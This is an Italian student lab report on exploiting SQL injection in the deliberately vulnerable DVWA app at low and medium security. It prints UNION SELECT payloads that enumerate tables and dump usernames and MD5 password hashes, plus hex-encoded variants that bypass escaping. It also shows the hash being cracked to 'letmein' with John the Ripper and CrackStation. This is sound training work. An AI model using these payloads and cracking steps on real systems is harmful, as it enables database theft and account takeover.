

# Report Esercizio 1 – SQL Injection su DVWA



| Titolo del Documento: | Report Attività di Laboratorio: Giorno 1 |

| Asset Sotto Analisi: | Macchina Virtuale Metasploitable |

| Indirizzo IP Target: | 192.168.13.150 |

| Indirizzo IP Attaccante: | 192.168.13.100 (Kali Linux) |

| Data dell'Attività: | 01 Settembre 2025 |

| Analisti: | [Landa Tracker S.P.A.] |

| Stato: | Completato |

## TRACCIA GIORNO 1: SQL Injection su DVWA (Low e Medium)

### Traccia Giorno 1:

Utilizzando le tecniche viste nelle lezione teoriche, sfruttare la vulnerabilità SQL injection presente sulla Web Application DVWA per recuperare **in chiaro** la password dell'utente **Pablo Picasso** (ricordatevi che una volta trovate le password, c'è bisogno di un ulteriore step per recuperare la password in chiaro)  
**NB: non usare tool automatici come sqlmap. È ammesso l'uso di repeater burp suite.**

### Bonus

- Replicare tutto a livello medium
- Recuperare informazioni vitali da altri db collegati
- Creare una guida illustrata per spiegare ad un utente medio come replicare questo attacco.

## Requisiti

### Requisiti laboratorio Giorno 1:

**Livello difficoltà DVWA: LOW**

**IP Kali Linux: 192.168.13.100/24**

**IP Metasploitable: 192.168.13.150/24**

1. **Livelli di Sicurezza** configurati in DVWA:

- **Low** per la prima parte.
- **Medium** per la seconda parte.



## Assegnazione ip

```
└$ sudo ip addr add 192.168.13.100/24 dev eth0
```

```
msfadmin@metasploitable:~$ sudo ip addr add 192.168.13.150/24 dev eth0
```

## Controllo degli ip

```
inet 192.168.13.100/24 brd 192.168.13.255 scope global eth0
```

```
inet 192.168.13.150/24 scope global secondary eth0
```

## Collegamento DVWA

Ci colleghiamo all'URL <http://192.168.13.150/dvwa> e dopo aver inserito le credenziali **admin** e **password**.

DVWA

Username  
admin

Password  
password

Login

## Impostazioni di sicurezza



**DVWA**

### Welcome to Damn Vulnerable Web App!

Damn Vulnerable Web App (DVWA) is a PHP/MySQL web application that is damn vulnerable. Its main goals are to be an aid for security professionals to test their skills and tools in a legal environment, help web developers better understand the processes of securing web applications and aid teachers/students to teach/learn web application security in a class room environment.

**WARNING!**

Damn Vulnerable Web App is damn vulnerable! Do not upload it to your hosting provider's public html folder or any internet facing web server as it will be compromised. We recommend downloading and installing [XAMPP](#) onto a local machine inside your LAN which is used solely for testing.

**Disclaimer**

We do not take responsibility for the way in which any one uses this application. We have made the purposes of the application clear and it should not be used maliciously. We have given warnings and taken measures to prevent users from installing DVWA on to live web servers. If your web server is compromised via an installation of DVWA it is not our responsibility it is the responsibility of the person/s who uploaded and installed it.

**General Instructions**

The help button allows you to view hits/tips for each vulnerability and for each security level on their respective page.

You have logged in as 'admin'

Username: admin  
Security Level: high  
PHPIDS: disabled

Damn Vulnerable Web Application (DVWA) v1.0.7

Una volta entrati su DVWA clicchiamo per entrare nel menù DVWA Security e impostiamo la sicurezza su **low**



# DVWA Security 🔒

## Script Security

Security Level is currently **low**.

You can set the security level to low, medium or high.

The security level changes the vulnerability level of DVWA.



## Recupero delle credenziali con attacco SQL Injection

[Home](#)

[Instructions](#)

[Setup](#)

[Brute Force](#)

[Command Execution](#)

[CSRF](#)

[File Inclusion](#)

[SQL Injection](#)

[SQL Injection \(Blind\)](#)

[Upload](#)

[XSS reflected](#)

[XSS stored](#)

[DVWA Security](#)

[PHP Info](#)

[About](#)

[Logout](#)



## Entriamo nella sezione del menù “SQL Injection”



Scopriamo innanzitutto quali tabelle e colonne mi fornisce il database col comando

```
' UNION SELECT concat(TABLE_SCHEMA,'.',TABLE_NAME), COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE table_schema='dvwa' --
```

### Vulnerability: SQL Injection

User ID:

 

```
ID: ' UNION SELECT concat(TABLE_SCHEMA,'.', TABLE_NAME), COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE table_schema='dvwa' --
First name: dvwa.guestbook
Surname: comment_id

ID: ' UNION SELECT concat(TABLE_SCHEMA,'.', TABLE_NAME), COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE table_schema='dvwa' --
First name: dvwa.guestbook
Surname: comment

ID: ' UNION SELECT concat(TABLE_SCHEMA,'.', TABLE_NAME), COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE table_schema='dvwa' --
First name: dvwa.guestbook
Surname: name

ID: ' UNION SELECT concat(TABLE_SCHEMA,'.', TABLE_NAME), COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE table_schema='dvwa' --
First name: dvwa.users
Surname: user_id

ID: ' UNION SELECT concat(TABLE_SCHEMA,'.', TABLE_NAME), COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE table_schema='dvwa' --
First name: dvwa.users
Surname: first_name

ID: ' UNION SELECT concat(TABLE_SCHEMA,'.', TABLE_NAME), COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE table_schema='dvwa' --
First name: dvwa.users
Surname: last_name

ID: ' UNION SELECT concat(TABLE_SCHEMA,'.', TABLE_NAME), COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE table_schema='dvwa' --
First name: dvwa.users
Surname: user

ID: ' UNION SELECT concat(TABLE_SCHEMA,'.', TABLE_NAME), COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE table_schema='dvwa' --
First name: dvwa.users
Surname: password

ID: ' UNION SELECT concat(TABLE_SCHEMA,'.', TABLE_NAME), COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE table_schema='dvwa' --
First name: dvwa.users
Surname: avatar
```



Inseriremo poi il seguente comando per ottenere una lista completa degli utenti MA con la password hashata e quindi ancora oscurata:

**1' UNION SELECT user, password FROM users#**

## Vulnerability: SQL Injection

User ID:

ID: 1' UNION SELECT user, password FROM users#

First name: admin

Surname: admin

ID: 1' UNION SELECT user, password FROM users#

First name: admin

Surname: 5f4dcc3b5aa765d61d8327deb882cf99

ID: 1' UNION SELECT user, password FROM users#

First name: gordonb

Surname: e99a18c428cb38d5f260853678922e03

ID: 1' UNION SELECT user, password FROM users#

First name: 1337

Surname: 8d3533d75ae2c3966d7e0d4fcc69216b

ID: 1' UNION SELECT user, password FROM users#

First name: pablo

Surname: 0d107d09f5bbe40cade3de5c71e9e9b7

ID: 1' UNION SELECT user, password FROM users#

First name: smithy

Surname: 5f4dcc3b5aa765d61d8327deb882cf99

Isoliamo poi solo i dati dell’utente che a noi interessa, in questo caso “Pablo” col comando:

**' UNION SELECT user, password FROM dvwa.users WHERE user='Pablo' –**



## Vulnerability: SQL Injection

User ID:

```
users WHERE user='Pablo' --
```

```
ID: ' UNION SELECT user, password FROM dvwa.users WHERE user='Pablo' --
First name: pablo
Surname: 0d107d09f5bbe40cade3de5c71e9e9b7
```

### Risultati ottenuti:

Nome utente: **Pablo**

Password hash: **0d107d09f5bbe40cade3de5c71e9e9b7**

### Ottenerne password hashate

L'hash **0d107d09f5bbe40cade3de5c71e9e9b7** possiamo ottenerlo in chiaro in due modi principali, utilizzando john the ripper o usando il sito <https://crackstation.net>, entrambi ci danno la conferma che la password equivale a letmein.

## John The Ripper



```
(kali㉿kali)-[~]
$ echo "0d107d09f5bbe40cade3de5c71e9e9b7" > bubbulus.txt

(kali㉿kali)-[~]
$ john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt bubbulus.txt
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-MD5 [MD5 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=2
Press 'q' or Ctrl-C to abort, almost any other key for status
letmein      (?)
1g 0:00:00:00 DONE (2025-09-01 08:06) 50.00g/s 38400p/s 38400c/s 38400C/s jeffrey .. ja
mes1
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed.
```

Dopo aver salvato l'hash MD5 della password di Pablo in un file text chiamato “Bubbulus.txt” col comando:

**“echo "0d107d09f5bbe40cade3de5c71e9e9b7" > bubbulus.txt”**

Utilizziamo poi il seguente comando per crackare la password:

**john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt bubbulus.txt**

```
(kali㉿kali)-[~]
$ echo "0d107d09f5bbe40cade3de5c71e9e9b7" > bubbulus.txt

(kali㉿kali)-[~]
$ john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt bubbulus.txt
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-MD5 [MD5 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=2
Press 'q' or Ctrl-C to abort, almost any other key for status
letmein      (?)
1g 0:00:00:00 DONE (2025-09-01 08:06) 50.00g/s 38400p/s 38400c/s 38400C/s jeffrey .. ja
mes1
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed.
```

# CrackStation



# CrackStation

Defuse.ca · Twitter

CrackStation ▾ Password Hashing Security ▾ Defuse Security ▾

## Free Password Hash Cracker

Enter up to 20 non-salted hashes, one per line:

```
0d107d09f5bbe40cade3de5c71e9e9b7
```

Non sono un robot   
Privacy - Termini

**Supports:** LM, NTLM, md2, md4, md5, md5(md5\_hex), md5-half, sha1, sha224, sha256, sha384, sha512, ripeMD160, whirlpool, MySQL 4.1+ (sha1(sha1\_bin)), QubesV3.1BackupDefaults

Hash	Type	Result
0d107d09f5bbe40cade3de5c71e9e9b7	md5	letmein

**Color Codes:** Green: Exact match, Yellow: Partial match, Red: Not found.

Una volta inserito l'hash crackstation ci darà in automatico il risultato della password che corrisponde con quella presa in precedenza.

## SQL Injection con sicurezza Medium



### Vulnerability: SQL Injection

User ID:

ID: 0x27 OR 1=1 --  
First name: admin  
Surname: admin

ID: 0x27 OR 1=1 --  
First name: Gordon  
Surname: Brown

ID: 0x27 OR 1=1 --  
First name: Hack  
Surname: Me

ID: 0x27 OR 1=1 --  
First name: Pablo  
Surname: Picasso

ID: 0x27 OR 1=1 --  
First name: Bob  
Surname: Smith

### Vulnerability: SQL Injection

User ID:

ID: 0x27 UNION SELECT user, password FROM dvwa.users WHERE user=0x5061626c6f --  
First name: pablo  
Surname: 0d107d09f5bbe40cade3de5c71e9e9b7

Dopo aver impostato la sicurezza su medium seguendo i passaggi di prima abbiamo poi seguito gli stessi passaggi di prima ma usando il codice esadecimale per scrivere le cose.

**0x27** è il formato hexadecimale per l'apostrofo (').

**0x5061626c6f** è il formato hexadecimale per Pablo.

La password viene poi decifrata con lo stesso procedimento utilizzato in precedenza.